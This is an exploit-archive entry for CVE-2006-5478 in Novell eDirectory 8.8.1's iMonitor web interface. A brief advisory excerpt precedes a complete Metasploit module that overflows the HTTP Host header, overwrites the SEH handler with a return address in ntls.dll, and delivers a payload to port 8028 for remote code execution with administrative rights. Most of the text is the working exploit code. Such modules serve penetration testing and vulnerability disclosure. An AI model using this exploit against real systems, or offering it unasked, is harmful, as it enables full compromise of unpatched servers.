Novell eDirectory 8.x - iMonitor HTTPSTK Buffer Overflow (3)

source: https://www.securityfocus.com/bid/20655/info
  
The Novell eDirectory server iMonitor is prone to a stack-based buffer-overflow vulnerability because it fails to perform sufficient bounds checking on client-supplied data before copying it to a buffer.
  
An attacker could leverage this issue to execute arbitrary code with administrative privileges. A successful exploit could result in the complete compromise of the affected system.
  
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Novell eDirectory NDS Server Host Header Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in Novell eDirectory 8.8.1.
				The web interface does not validate the length of the 
				HTTP Host header prior to using the value of that header in an 
				HTTP redirect.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     => 
				[ 
					['CVE', '2006-5478'],
					['OSVDB', '29993'],
					['BID', '20655'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll 
				],

			'Privileged'     => true,

			'DisclosureDate' => 'Oct 21 2006',

			'DefaultTarget' => 0))

			register_options([Opt::RPORT(8028)], self.class)
	end

	def exploit
		connect

		sploit =  "GET /nds HTTP/1.1" + "\r\n" 
		sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars) 
		sploit << "," + rand_text_alphanumeric(719, payload_badchars) 
		seh    = generate_seh_payload(target.ret)
		sploit[705, seh.length] = seh
		sploit << "\r\n\r\n"

		print_status("Trying target #{target.name}...")

		sock.put(sploit)
		
		handler
		disconnect
	end

end